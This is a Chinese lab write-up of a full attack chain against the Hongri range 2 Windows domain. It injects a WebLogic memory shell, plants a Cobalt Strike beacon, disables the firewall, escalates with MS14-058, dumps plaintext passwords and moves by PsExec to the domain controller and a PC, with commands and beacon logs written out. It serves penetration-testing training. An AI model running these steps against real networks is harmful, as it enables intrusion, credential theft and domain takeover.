目录
[② vmnet1网卡](#② vmnet1网卡)
[(1)添加cs http beacon监听](#(1)添加cs http beacon监听)
[1、CS上线Web Server](#1、CS上线Web Server)
[① rev2self - 清理当前令牌](#① rev2self - 清理当前令牌)
[② make_token de1ay.com\Administrator 1qaz@WSX - 伪造域管身份](#② make_token de1ay.com\Administrator 1qaz@WSX - 伪造域管身份)
[③ jump psexec DC ljn-smb - 实施横向移动](#③ jump psexec DC ljn-smb - 实施横向移动)
本文详细记录了针对红日靶场2的渗透测试全过程。攻击者首先利用Weblogic服务风险向Web跳板机(192.168.59.131)注入蚁剑内存马,获取控制权后上传CobaltStrike木马建立初始立足点,随后提权并关闭防火墙。以内网IP(10.10.10.80)为据点进行探测,发现DC域控制器(10.10.10.10)和PC目标(10.10.10.201)。通过捕获的密码凭证,使用SMB监听中转会话和PsExec工具横向移动至域控制器,并最终控制内网PC目标,完成了从外网渗透利用到内网域控接管的完整攻击链。整个过程中,攻击者运用了端口扫描、密码抓取、SMB监听等多种技术手段,展现了典型的内网渗透攻击路径。相对于第一个方法,本文的区别主要如下所示。
- Weblogic利用工具更换版本
- 注入的内存马改为蚁剑内存马,需要将脚本类型配置为custom
- 无需切换为mssql用户并进行再次提权
- PSexec横向移动中,会话中转由普通的tcp中转监听改为SMB监听中转会话
一、拓扑搭建
1、拓扑图
本次渗透测试靶场环境为红日靶场2,利用Weblogic安全风险植入蚁剑内存马,控制Web服务器后上传CS木马,以跳板机内网IP为据点,通过SMB监听中转和PsExec横向移动,先后攻陷域控与内网PC,完成域环境的内网渗透。
- 攻击始于对外网Web服务器(IP: 192.168.59.131)的 Weblogic服务 安全风险的利用,成功注入 蚁剑内存马 后获取了该服务器的控制权限。随后,上传Cobalt Strike木马,建立了初始的Beacon命令控制通道,并进一步完成本地提权及防火墙关闭操作,巩固了攻击立足点。
- 在控制Web跳板机后,以其内网IP(10.10.10.80)为据点展开内网横向探测。通过端口扫描,识别出核心资产:域控制器(DC, 10.10.10.10)与内网办公主机(PC, 10.10.10.201)。
- 接下来,利用在跳板机上捕获的密码凭证,结合专为内网横向移动设置的 SMB监听器中转会话 ,通过 PsExec 方式成功横向移动至域控制器,并使其作为子Beacon上线至Cobalt Strike团队服务器,标志着域控已沦陷。
- 最终,借助在域控制器上获取的域管理员凭据,以同样的 PsExec 手法及 SMB监听器 路径,实现对内网PC主机的控制。至此,形成了一条从外部Web服务安全风险利用到内网域环境完全接管的完整攻击链。

flowchart LR
subgraph A [外部网络]
direction TB
Client["CS客户端 (Operator)<br>192.168.59.1"]
Server["CS服务器 (Kali)<br>192.168.59.128"]
Client <-->|控制| Server
end
subgraph B [内部网络 10.10.10.0/24]
direction LR
WEB["Web跳板机 WEB<br>外: 192.168.59.131<br>内: 10.10.10.80"]
DC["域控制器 DC<br>10.10.10.10"]
PC["办公计算机 PC<br>10.10.10.201"]
end
Server -- "1 Web风险利用<br>Weblogic内存马" --> WEB
WEB -- "2 横向移动<br>PsExec" --> DC
DC -- "3 横向移动<br>PsExec" --> PC
2、角色表
本次渗透环境中,攻击者从外网利用Weblogic安全风险向Web服务器(外网192.168.59.131/内网10.10.10.80)植入蚁剑内存马并建立CS初始据点;以内网Web服务器为跳板,通过SMB监听中转和PsExec横向移动,先后控制域控制器(10.10.10.10)和办公计算机(10.10.10.201),最终实现从外网突破到域控接管的完整攻击链。
| 角色名称 | IP地址 | 操作系统/角色 | 在攻击链中的作用 | 备注 |
|---|---|---|---|---|
| CS客户端 (Operator) | 192.168.59.1 | Windows 11 | 攻击者操作端,运行Cobalt Strike客户端 | 外部网络,用于控制CS团队服务器 |
| CS服务器 (Team Server) | 192.168.59.128 | Kali Linux | 攻击载荷投送与命令控制中心 | 接收Beacon回连,部署在Kali上 |
| Web服务器 (WEB) | 外: 192.168.59.131 内: 10.10.10.80 | Windows 7 | 初始入口/跳板机,存在Weblogic安全风险 | 双网卡 |
| 域控制器 (DC) | 10.10.10.10 | Windows Server / Domain Controller | 核心目标,内网域环境的核心 | PsExec横向移动控制 |
| 办公计算机 (PC) | 10.10.10.201 | Windows (域成员) | 横向移动目标 | PsExec横向移动控制(DC会话执行) |
3、网络搭建
注意:启动过程中,如果 360 需要管理权限才能做一些事情,让你输密码的话,不要管它,爱咋咋地去,取消就好。
(1)网络适配器配置
①编辑虚拟网络编辑器
点击vmware-编辑-虚拟网络编辑器,进入到配置vmnet网卡的界面,如下所示。

② vmnet1网卡
将vmnet1网段改为10.10.10.0/24,如下所示。

(2)Web服务器恢复快照v1.3
删除v1.1和v1.2的快照,然后恢复到1.3快照中。

删除后效果如下所示。

删除快照后,将Web服务器恢复到v1.3版本,如下所示。

(3)配置web虚拟机的网络
打开Web服务虚拟机,使用其他用户登录,用户名DE1AY\mssql密码1qaz@WSX。

进入系统后配置ip地址自动获取,点击"开始-网络-网络和共享中心",如下所示。

点击更改适配器配置,如下所示。

点击网络4-右键属性-ipv4协议-属性,改为自动获得ip地址和DNS地址,如下所示。管理员用户输入de1ay\administrator , 密码1qaz@WSX。

(4)查看Web服务器的ip地址

(5)PC机删除vmnet8网卡
PC删除vmnet8网卡(NAT)网卡,如下所示。

查看ip地址,使用de1ay\de1ay 密码1qaz@WSX登录。

(6)清空cs数据
报告-清空数据,并删除所有之前的会话。


3、Web服务环境搭建
在搭建环境的过程中,我们需要手动开启weblogic服务。开启weblogic的方法是进入C:\Oracle\Middleware\user_projects\domains\base_domain目录开启服务,不过需要特别注意,startweblogic要以管理员的方式运行,操作如下所示。



注意完成比步骤后,务必拍摄快照留存,避免出现错误重新搭建环境。
二、信息搜集
1、探测存活主机
nmap -sn 192.168.59.0/24**"探测 192.168.59.0 到 192.168.59.255 这个网段内有哪些 IP 地址对应的主机是开机并在线(存活)的",但它不会扫描这些主机开放了哪些端口,**发现ip地址为192.168.59.131,如下所示。
nmap -sn 192.168.59.0/24
-
nmap: 强大的网络发现和安全审计工具。 -
-sn: 这是最重要的选项。在过去,这个功能由-sP选项实现。-sn告诉 Nmap 进行 "Ping 扫描" 。它的作用是只发现网络上的存活主机,而不对主机进行端口扫描。 -
192.168.59.0/24: 这是目标网络范围。/24是 CIDR 表示法,代表子网掩码255.255.255.0。它指定了从192.168.59.1到192.168.59.254的所有 IP 地址。
用 Nmap 工具对 192.168.59.0/24 网段发起 "无端口扫描"(Ping 扫描)。其中-sn参数是核心,代表跳过端口探测,仅通过 ICMP Echo 请求(类似 Ping 命令)、ARP 请求(内网环境)等方式,检测网段内哪些 IP 是存活主机。执行后会返回该网段内在线主机的 IP(部分会显示对应主机名),不扫描端口状态,既减少对目标网络的干扰,又能快速定位内网存活设备,常用于渗透测试或网络管理中第一步的 "存活主机探测",为后续端口扫描、服务识别奠定基础。

当执行 nmap -sn 时,Nmap 默认会组合使用多种技术来避免因单一方法被防火墙过滤而导致的误判:
-
ICMP Echo 请求 : 发送经典的
ping包。如果收到回复,则判断主机存活。 -
TCP SYN 包到 443 端口: 尝试向目标的 443 端口发起一个 TCP 连接请求。
-
TCP ACK 包到 80 端口: 尝试向目标的 80 端口发送一个 TCP ACK 包。
-
ICMP 时间戳请求: 发送另一种类型的 ICMP 请求。
只要目标主机对以上任何一种探测方式作出了响应,Nmap 就会将其标记为 "存活"
2、探测端口
对192.168.59.131进行常用端口探测,如下所示出现敏感端口号80、7001、3389等。
nmap 192.168.59.131

三、web服务器GetShell
1、发现Weblogic服务
访问192.168.59.131的7001端口,使用web浏览器打开,如下所示发现Web服务为Weblogic。
http://192.168.59.131:7001/

http://192.168.59.131:7001/console/

过一会后,页面如下所示,如下所示可以发现Weblogic服务。
http://192.168.59.131:7001/console/login/LoginForm.jsp

2、使用weblogic利用工具上传木马
(1)注入内存马
URL输入http://192.168.59.131:7001,选择"内存马注入"子菜单,类型为蚁剑,点击执行,步骤如下所示。

+\] 注入蚁剑内存马成功 蚁剑Custom Filter地址: http://192.168.59.131:7001/bea_wls_internal/index.html?size=1 密码:pass1024 连接时选择Custom类型 #### (2)连接蚁剑 注意连接类型选择custom,密码为pass1024,具体配置如下所示。 http://192.168.59.131:7001/bea_wls_internal/index.html?size=1  点击保存后,双击界面生成的会话,右键进入文件系统。   ## 四、CS上线Web服务器baecon ### 1、cs生成baecon #### (1)添加cs http beacon监听 添加cs监听器,选择 payload 类型(**Beacon HTTP** ),并配置回连的IP地址(团队服务器的IP地址:**192.168.59.128** )和端口(**10087** **,**任意不冲突即可)。  #### (2)生成木马Payload payload 是将要投放到目标主机上的可执行文件,即Beacon代理。在菜单栏-有效载荷(P)的菜单下, 选择"Windows可执行文件(Stageless)",如下图所示。  选择格式后,会弹出一个配置窗口,选择mooyuan2008监听器。  这时监听器选择mooyuan2008,输出格式windows exe,输出格式选择目标靶机win server2008匹配的的x64格式,点击生成后,会提示保存,将其保存并命名,这里我选择命名为mooyuan2008-http-x64.exe,保存到了f:/2008/目录中。  ### 2、通过蚁剑上传baecon到Web服务器中  ### 3、蚁剑中运行baecon文件 点击虚拟终端,进入到cs的载荷mooyuan2008-http-x64.exe的上传目录中,执行载荷,如下所示。 mooyuan2008-http-x64.exe  ## 五、CS上线Web服务器 ### 1、CS上线Web Server 通过蚁剑执行2008-924.exe后,查看cs,如下所示进程mooyuan2008-http-x64.exe计算机名为win7的系统中,进程id号为3140,用户名为administrator,监听器为mooyuan2008-http,内网ip地址为192.168.59.131,内网ip地址为10.10.10.80,结构为x64。  ### 2、关闭防火墙 执行netsh advfirewall set allprofiles state off命令,用于关闭 Windows 系统中高级防火墙(Windows Defender Firewall)所有配置文件的防护功能,"allprofiles" 涵盖域、专用、公用三种网络环境的防火墙配置:域配置文件对应域内网络,专用配置文件对应家庭 / 工作等可信网络,公用配置文件对应公共场所等非可信网络。执行后,系统将停止拦截入站 / 出站网络连接、禁用预设安全规则。 netsh advfirewall set allprofiles state off  ### 3、ms14-058提权 MS14-058是Windows内核模式驱动中的关键本地提权安全风险,影响Windows Vista至8.1系统,源于win32k.sys未能正确处理内存对象,允许普通用户通过特制应用程序在内核态执行任意代码。由于稳定性高且无需依赖其他系统组件,至今仍是渗透测试中穿透用户层防御获取SYSTEM权限的经典武器。  如下所示,提权成功,新上线system用户,pid为2716。  ### 4、抓取明文密码 system会话抓取密码,具体如下所示。   抓取明文密码的结果可以在"视图-密码"中更加规范化查看,具体效果如下所示,直接抓取到administrator和mysql的明文密码,均为1qaz@WSX。  ## 六、内网扫描 使用mssql(pid 3580)或mssql提权后的system账户(pid 3816)进行内网扫描,如下所示。 ### 1、端口扫描 使用Cobalt Strike的端口扫描功能对Web服务器的内网10.10.10.0/24发起探测,如下所示。  发现存活主机为10和80,由于80是192.168.59.131的另一个网卡,故而目前同一网段仅包括10.10.10.80和10.10.10.201。  ### 2、域信息搜集 #### (1)查看当前登录域 `net config workstation` 用于查询和显示当前计算机的网络工作站配置信息。执行后会输出关键信息,包括计算机名、完整的计算机域名、当前登录的用户名以及最重要的**工作站域** 和**登录域**,从而明确揭示该主机是否已加入域、所加入的域名称以及当前登录的域用户身份。它是内网渗透中快速进行主机角色和域环境判断的首选命令之一。如下所示当前域为delay.com,具体操作步骤如下所示。  #### (2)查看域控详细信息 查看DC主域控制器,其ip地址为10.10.10.10,具体如下所示。  #### (3)查看所有域用户  #### (4)目标列表 点击"视图-目标",此时发现如下DC域控的ip地址为10.10.10.10,PC的ip地址为10.10.10.201,具体如下图所示。  如果目标列表没出现dc域控,执行shell net group "Domain Controllers" /domain查看,该命令用于在 Windows 域环境中,查询域内 "Domain Controllers"(域控制器)组的成员信息,"/domain" 参数指定从域控制器而非本地计算机获取数据。执行后,系统会返回该组内所有域控制器的计算机账户(如 "DC$"),帮助管理员或渗透测试者确认域内域控制器的数量与名称。  如果目标列表没出现dc域控和目标PC,也可以手动添加目标。 ## 七、SMB中转会话横向移动 ### 1、CS创建SMB监听 * **访问监听器管理界面:** * 在 Cobalt Strike 主界面,顶部菜单栏点击 `Cobalt Strike` -\> `Listeners`。 * 或者使用快捷键 `Ctrl+L`。 * **添加监听器:** 在 Listeners 管理窗口中,点击下方的 `Add` 按钮。 * **配置 SMB 监听器参数:** * **Name:** 给监听器起一个易于识别的名字,命名为ljn-smb。 * **Payload:** 在下拉菜单中选择 Beacon SMB。 * **Pipe Name:** 可以保留默认的 `msagent_##`(如 `msagent_ljn`),也可以自定义一个看起来合法的管道名。这个管道名将在后续通信中使用。 * 其他设置(如 `HTTP Hosts` 等)对于 SMB 监听器是无关的,保持默认或留空即可。 * **保存:** 点击 `Save`。此时,你的 SMB 监听器就创建完毕了。**注意:** 这个监听器不需要绑定任何端口,因为它依赖于已有的 Beacon 进行中继。  点击保存后监听列表中增加ljn-smb监听,如下所示。  ### 2、psexec目标DC #### (1)上线DC 在"视图"-"目标列表"中选择攻击目标10.10.10.10这个DC域控主机,右键选择"横向移动"-"psexec",具体步骤如下所示。  密码选择administrator对应的1qaz@WSX,会话选择system会话,监听器选择smb,具体如下所示。    点击运行后执行如下所示,成功上线DC beacon.在 Cobalt Strike 的主界面看到一个 **新的 Beacon 会话** 上线,成功上线DC beacon.这个新 Beacon 的 `Internal IP` 是目标机器的 IP(10.10.10.10),而在 `External IP` 列会显示跳板机的IP地址(10.10.10.80)。这明确表示该 Beacon 是通过跳板机Web中继的 SMB Beacon。  #### (2)命令执行过程详解 执行命令详细信息如下所示,**攻击链清晰地展示了攻击者如何利用窃取的域管明文密码,从一个已被控制的跳板机,通过 PsExec 方式成功横向移动并完全控制了域控制器。** |--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | \[09/29 16:34:16\] beacon\> **rev2self** \[09/29 16:34:16\] \[\*\] Tasked beacon to revert token \[09/29 16:34:16\] beacon\> **make_token de1ay.com\\Administrator 1qaz@WSX** \[09/29 16:34:16\] \[\*\] Tasked beacon to create a token for de1ay.com\\Administrator \[09/29 16:34:16\] beacon\> **jump psexec DC ljn-smb** \[09/29 16:34:16\] \[+\] host called home, sent: 58 bytes \[09/29 16:34:16\] \[+\] Impersonated NT AUTHORITY\\SYSTEM \[09/29 16:34:17\] \[\*\] Tasked beacon to run windows/beacon_bind_pipe (\\\\.\\pipe\\msagent_ljn) on DC via Service Control Manager (\\\\DC\\ADMIN$\\64230cc.exe) \[09/29 16:34:17\] \[+\] host called home, sent: 294168 bytes \[09/29 16:34:32\] \[+\] received output: Started service 64230cc on DC \[09/29 16:34:32\] \[+\] established link to child beacon: 10.10.10.10 \[09/29 16:34:32\] beacon\> sleep 0 \[from: Beacon 10.10.10.10@2720\] \[09/29 16:34:32\] \[\*\] Tasked beacon to become interactive \[09/29 16:34:33\] \[+\] host called home, sent: 28 bytes | **执行过程分解如下所示。** * `[+] Impersonated NT AUTHORITY\SYSTEM`: 当前 Beacon 在跳板机上先提权至 `SYSTEM` 权限,这是为了能顺利执行远程服务操作。 * `[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\msagent_ljn) on DC via Service Control Manager (\\DC\ADMIN$\64230cc.exe)`: * Cobalt Strike 在目标主机 `DC` 的 `ADMIN$` 共享(即 `C:\Windows\`)上传了一个随机命名的 payload 文件 (`64230cc.exe`)。 * 该 payload 被配置为连接一个名为 `\\.\pipe\msagent_ljn` 的命名管道。 * 通过**服务控制管理器** 在 `DC` 上创建并启动一个服务来运行这个 payload。 * `[+] received output: Started service 64230cc on DC`: 确认服务在域控制器上成功启动。 * `[+] established link to child beacon: 10.10.10.10`: **最重要的成功标志** 。这表示 payload 已在 `DC` 上成功运行,并反向连接回了攻击团队服务器,建立了一个新的**子 Beacon 会话**。这个子 Beacon 的父会话就是最初发起攻击的跳板机 Beacon。 #### (3)shell命令 图形化操作等同于执行如下命令。 |----------------------------------------------------------------------------------| | rev2self make_token de1ay.com\\Administrator 1qaz@WSX **jump psexec DC ljn-smb** | ##### ① **`rev2self` - 清理当前令牌** * **含义** : 让当前的 Beacon 会话放弃任何已窃取或注入的高权限令牌,**恢复到 Beacon 最初建立时使用的原始身份** (例如,上线时使用的 `mssql` 或 `de1ay` 用户)。 * **目的** : 这是一个良好的操作习惯,确保从一个干净、已知的身份状态开始新的攻击操作,避免之前遗留的令牌干扰后续的 `make_token`。 ##### ② **`make_token de1ay.com\Administrator 1qaz@WSX` - 伪造域管身份** * **含义** : 使用获取到的域管理员明文密码,**创建一个新的网络登录令牌**,并将其注入到当前 Beacon 会话中。 * **目的** : 执行此命令后,当前 Beacon 在访问网络资源(如 SMB 共享)时,将使用 `de1ay.com\Administrator` 的身份进行认证。这是为下一步通过 PsExec 横向移动至域控制器准备必要的凭证。 ##### ③ **`jump psexec DC ljn-smb` - 实施横向移动** 这是最关键的一步,其执行过程和输出含义如下: * **`jump psexec`**: 指示 Beacon 通过 PsExec 方式在目标主机上执行 payload。 * **`DC`** : **目标主机**,这里是域控制器。 * **`ljn-smb`** : 指定一个 **Beacon Listener** ,该 Listener 通常配置为 **SMB Beacon** 或 **TCP Beacon over SMB**。 #### (4)DC会话交互 在dc会话-右键-交互,输入whoami和ipconfig命令,如下所示。  ### 3、psexec目标PC 视图-目标列表,在PC目标右键,选择横向移动-psexec,具体如下所示。  密码选择administrator对应的1qaz@WSX,会话选择DC会话,监听器选择smb,具体如下所示  点击运行后执行如下所示,成功上线PC beacon.在 Cobalt Strike 的主界面看到一个 **新的 Beacon 会话** 上线,成功上线DC beacon.这个新 Beacon 的 `Internal IP` 是目标机器的 IP(10.10.10.201),而在 `External IP` 列会显示DC的IP地址(10.10.10.10)。这明确表示该 Beacon 是通过DC(10.10.10.10)中继的 SMB Beacon。 